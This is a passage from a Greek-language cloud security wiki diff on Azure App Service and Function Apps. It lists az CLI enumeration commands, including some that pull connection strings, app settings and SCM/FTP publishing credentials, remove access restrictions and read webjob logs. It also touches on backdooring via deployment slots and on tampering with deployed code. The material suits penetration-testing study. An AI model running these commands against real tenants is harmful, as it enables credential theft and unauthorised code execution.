λειτουργιών όπως η επεξεργασία αρχείων, η διαχείριση δεδομένων ή οι προγραμματισμένες εργασίες. +Υπάρχουν 2 τύποι web jobs: +- **Continuous**: Εκτελείται αδιάκοπα σε βρόχο και ενεργοποιείται μόλις δημιουργηθεί. Είναι ιδανικό για εργασίες που απαιτούν συνεχή επεξεργασία. Ωστόσο, αν η εφαρμογή σταματήσει να λειτουργεί επειδή το Always On είναι απενεργοποιημένο και δεν έχει λάβει αίτημα τα τελευταία 20 λεπτά, η web job θα σταματήσει επίσης. +- **Triggered**: Εκτελείται κατόπιν αιτήματος ή με βάση ένα πρόγραμμα. Είναι πιο κατάλληλο για περιοδικές εργασίες, όπως ενημερώσεις δεδομένων batch ή ρουτίνες συντήρησης. + +Οι webjobs είναι πολύ ενδιαφέρουσες από την προοπτική των επιτιθέμενων, καθώς θα μπορούσαν να χρησιμοποιηθούν για **εκτέλεση κώδικα** στο περιβάλλον και **ανεβάσουν δικαιώματα** στις συνδεδεμένες διαχειριζόμενες ταυτότητες. + +Επιπλέον, είναι πάντα ενδιαφέρον να ελέγχετε τα **αρχεία καταγραφής** που παράγονται από τις Webjobs, καθώς θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**. + +### Slots + +Οι Azure App Service Slots χρησιμοποιούνται για **να αναπτύξουν διαφορετικές εκδόσεις της εφαρμογής** στην ίδια υπηρεσία App Service. Αυτό επιτρέπει στους προγραμματιστές να δοκιμάζουν νέες δυνατότητες ή αλλαγές σε ένα ξεχωριστό περιβάλλον πριν τις αναπτύξουν στο περιβάλλον παραγωγής. + +Επιπλέον, είναι δυνατή η δρομολόγηση ενός **ποσοστού της κίνησης** σε μια συγκεκριμένη υποδοχή, κάτι που είναι χρήσιμο για **A/B testing** και για σκοπούς backdoor. + +### Azure Function Apps + +Βασικά, **οι Azure Function apps είναι ένα υποσύνολο της Azure App Service** στο διαδίκτυο και αν πάτε στην διαδικτυακή κονσόλα και καταγράψετε όλες τις υπηρεσίες εφαρμογών ή εκτελέσετε `az webapp list` στο az cli, θα μπορείτε να **δείτε και τις Function apps να είναι καταγεγραμμένες εδώ**. + +Στην πραγματικότητα, ορισμένα από τα **χαρακτηριστικά που σχετίζονται με την ασφάλεια** που χρησιμοποιούν οι υπηρεσίες App services (`webapp` στο az cli), **χρησιμοποιούνται επίσης από τις Function apps**. -Debugging ### Enumeration @@ -40,9 +91,10 @@ Debugging ```bash # List webapps az webapp list - ## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" +az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table +## Get SCM URL of each webapp +az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' # Get info about 1 app az webapp show --name --resource-group @@ -51,18 +103,24 @@ az webapp show --name --resource-group az webapp list-instances --name --resource-group ## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web -# Get configured Auth information -az webapp auth show --name --resource-group - # Get access restrictions of an app az webapp config access-restriction show --name --resource-group # Remove access restrictions az webapp config access-restriction remove --resource-group -n --rule-name +# Get connection strings of a webapp +az webapp config connection-string list --name --resource-group + # Get appsettings of an app az webapp config appsettings list --name --resource-group +# Get SCM and FTP credentials +az webapp deployment list-publishing-profiles --name --resource-group + +# Get configured Auth information +az webapp auth show --name --resource-group + # Get backups of a webapp az webapp config backup list --webapp-name --resource-group @@ -75,61 +133,39 @@ az webapp config snapshot list --resource-group -n # Restore snapshot az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group +# Get slots +az webapp deployment slot list --name --resource-group --output table +az webapp show --slot --name --resource-group + +# Get traffic-routing +az webapp traffic-routing show --name --resource-group # Get used container by the app az webapp config container show --name --resource-group # Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-gl_group +az webapp config storage-account list --name --resource-group +# Get configured container (if any) in the webapp, it could contain credentials +az webapp config container show --name --resource-group +# Get Webjobs +az webapp webjob continuous list --resource-group --name +az webapp webjob triggered list --resource-group --name +# Read webjobs logs with Azure permissions +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" -# List all the functions -az functionapp list +# Read webjobs logs with SCM credentials +curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ +--user ':' -v -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# Get connections of a webapp +az webapp conection list --name --resource-group -# Get details about the source of the function code -az functionapp deployment source show \ ---name \ ---resource-group -## If error like "This is currently not supported." -## Then, this is probalby using a container - -# Get more info if a container is being used -az functionapp config container show \ ---name \ ---resource-group - -# Get settings (and privesc to the sorage account) -az functionapp config appsettings list --name --resource-group - -# Check if a domain was assigned to a function app -az functionapp config hostname list --webapp-name --resource-group - -# Get SSL certificates -az functionapp config ssl list --resource-group - -# Get network restrictions -az functionapp config access-restriction show --name --resource-group - -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" - -# Get source code with Master Key of the function -curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v - -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +# Get hybrid-connections of a webapp +az webapp hybrid-connections list --name --resource-group ``` {{#endtab }} @@ -196,6 +232,40 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} +## Παραδείγματα για τη δημιουργία Web Apps + +### Python από το τοπικό + +Αυτό το σεμινάριο βασίζεται σε αυτό από [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli). +```bash +# Clone repository +git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart +cd msdocs-python-flask-webapp-quickstart + +# Create webapp from this code +az webapp up --runtime PYTHON:3.9 --sku B1 --logs +``` +Συνδεόμενοι στο SCM portal ή συνδεόμενοι μέσω FTP, είναι δυνατόν να δούμε στο `/wwwroot` το συμπιεσμένο αρχείο `output.tar.gz` που περιέχει τον κώδικα της webapp. + +> [!TIP] +> Απλώς η σύνδεση μέσω FTP και η τροποποίηση του αρχείου `output.tar.gz` δεν είναι αρκετή για να αλλάξει τον κώδικα που εκτελείται από την webapp. + +**Ένας επιτιθέμενος θα μπορούσε να κατεβάσει αυτό το αρχείο, να το τροποποιήσει και να το ανεβάσει ξανά για να εκτελέσει αυθαίρετο κώδικα στην webapp.** + +### Python από το Github + +Αυτό το tutorial βασίζεται στο προηγούμενο αλλά χρησιμοποιεί ένα αποθετήριο Github. + +1. Fork το repo msdocs-python-flask-webapp-quickstart στον λογαριασμό σας στο Github. +2. Δημιουργήστε μια νέα python Web App στο Azure. +3. Στο `Deployment Center` αλλάξτε την πηγή, συνδεθείτε με το Github, επιλέξτε το forked repo και κάντε κλικ στο `Save`. + +Όπως και στην προηγούμενη περίπτωση, συνδεόμενοι στο SCM portal ή συνδεόμενοι μέσω FTP, είναι δυνατόν να δούμε στο `/wwwroot` το συμπιεσμένο αρχείο `output.tar.gz` που περιέχει τον κώδικα της webapp. + +> [!TIP] +> Απλώς η σύνδεση μέσω FTP και η τροποποίηση του αρχείου `output.tar.gz` και η επανενεργοποίηση μιας ανάπτυξης δεν είναι αρκετή για να αλλάξει τον κώδικα που εκτελείται από την webapp. + + ## Αναφορές - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)